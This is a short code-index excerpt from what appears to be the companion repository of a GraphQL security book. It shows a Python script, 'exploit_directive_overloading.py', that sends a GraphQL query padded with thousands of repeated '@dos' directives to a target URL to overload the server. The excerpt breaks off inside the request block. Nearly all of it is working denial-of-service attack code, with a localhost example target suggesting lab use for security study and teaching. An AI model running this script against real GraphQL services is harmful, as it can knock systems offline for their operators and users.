INNER CODE UNIT · Python

usage

dolevf/Black-Hat-GraphQL · ch05/exploit_directive_overloading.py:8

def usage():
  print('Usage: python3 {} <target_url> <number_of_directives>'.format(sys.argv[0]))  
  print('Example: python3 {} http://localhost:5013/graphql 30000'.format(sys.argv[0]))
  sys.exit()

if len(sys.argv) < 3:
  print('Missing arguments!')
  usage()

URL = sys.argv[1]
FORCE_MULTIPLIER = int(sys.argv[2])

def start_attack():
  payload = '@dos' * FORCE_MULTIPLIER
  query = {'query': 'query  { __typename ' + payload + ' }'}
  try:
    r = requests.post(URL, json=query, verify=False)
    print('\t HTTP Response', r.text)

View source record →